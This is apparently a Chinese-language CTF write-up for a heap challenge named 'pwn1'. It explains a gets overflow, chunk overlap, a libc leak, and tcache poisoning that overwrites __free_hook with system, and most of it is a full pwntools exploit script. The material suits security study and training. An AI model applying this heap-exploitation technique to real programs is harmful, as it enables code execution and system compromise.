pwn1

因为用gets,可以看出这里存在溢出漏洞
可以通过溢出修改size,再free掉,形成overloap
for i in range(10):
ad('/bin/sh\x00')
rm(0)
ad(b'\x00'*0x88+p64(0x90*8+1)) #tcache<0x400 unsortbin>0x400
rm(1)
ad('a')
dp(2)
leak = u64(io.recvuntil("\x7f")[-6:]+b'\x00\x00')
base = leak-96-0x10-libc.sym['__malloc_hook']
system = base + libc.sym['system']
free = base + libc.sym['__free_hook']
print("leak--->"+hex(leak))
print("free--->"+hex(free))
print("system->"+hex(system))
利用tcache,溢出修改fd从而打free_hook
rm(6)
rm(5)
rm(4)
ad(b'\x00'*0x88 + p64(0x91) + p64(free))
#gdb.attach(io)
ad(p64(system))
ad(p64(system))
rm(8)
exp:
#!/usr/bin/env python3
#-- coding:utf-8 --
from pwn import *
import os
r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info(‘\x1b[01;38;5;214m’ + x + ‘\x1b[0m’)
#------------------------------------------------
io = process('./pwn1')
context.log_level='debug'
elf = ELF('./pwn1')
libc = ELF("./libc-2.31.so")
#------------------------------------------------
def ad(con):
sla(">> ",'1')
sla("content: ",con)
def rm(idx):
sla(">> ",'2')
sla("index: ",str(idx))
def md(sz, na):
sla('>> ', '4')
sla('size of it', str(sz))
sla('name', na)
def dp(idx):
sla(">> ",'3')
sla('index: ', str(idx))
def finish():
ia()
c()
def exploit():
li('exploit...')
for i in range(10):
ad('/bin/sh\x00')
rm(0)
ad(b'\x00'*0x88+p64(0x90*8+1)) #tcache<0x400 unsortbin>0x400
rm(1)
ad('a')
dp(2)
leak = u64(io.recvuntil("\x7f")[-6:]+b'\x00\x00')
base = leak-96-0x10-libc.sym['__malloc_hook']
system = base + libc.sym['system']
free = base + libc.sym['__free_hook']
print("leak--->"+hex(leak))
print("free--->"+hex(free))
print("system->"+hex(system))
#gdb.attach(io)
rm(6)
rm(5)
rm(4)
ad(b'\x00'*0x88 + p64(0x91) + p64(free))
#gdb.attach(io)
ad(p64(system))
ad(p64(system))
rm(8)
#-------------------------------start
if __name__ == '__main__':
exploit()
finish()




